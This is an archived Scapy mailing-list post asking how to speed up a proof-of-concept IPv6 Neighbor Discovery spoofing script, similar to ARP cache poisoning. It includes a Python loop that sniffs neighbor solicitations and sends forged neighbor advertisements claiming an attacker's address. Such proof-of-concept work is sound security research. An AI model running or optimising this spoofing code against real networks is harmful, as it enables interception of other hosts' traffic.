logo       

Scapy performance question: msg#00000

security.scapy.general

Subject: Scapy performance question

Hi,

I'm working on a proof of concept having to do with IPv6 and Neighbor Discovery. The idea is similar to ARP cache poising. The script sits in a while(1) looking for a particular type of icmpv6 packet. Then tries to respond before the "real" host can to deceive the original sender. Unfortunately in it's current incarnation this takes around 10 hundredths of a second longer than it takes for the "real" host to reply and all is lost. Does anyone have any tips on performance tuning python and/or scapy or is this just a limitation I need to learn to live with? :)

Here is the script snippet:

while(1):
r = sniff(filter="icmp6", count=1, promisc=1)
if r[0].haslayer(ICMPv6):
if r[0].getlayer(ICMPv6).type == 135:
srcmac = r[0].getlayer(Ether).src
srcip = r[0].getlayer(IPv6).src
sendp( Ether(src=evilmac,dst=srcmac)/IPv6 (src=evilip,dst=srcip,hoplim=255)/ICMPv6(type=136)/ ICMPv6MessageNeighbor(sa=evilip) )
print r[0].getlayer(ICMPv6MessageNeighbor).sa

Please note I do the type checking in the scapy script instead of the sniff filter due to an ICMPv6 limitation in pcap (even the newest).

Thanks for any ideas.

\T


---------------------------------------------------------------------
Desinscription: envoyez un message a: scapy.ml-unsubscribe@xxxxxxxxxx
Pour obtenir de l'aide, ecrivez a: scapy.ml-help@xxxxxxxxxx




<Prev in Thread] Current Thread [Next in Thread>
Google Custom Search

News | FAQ | advertise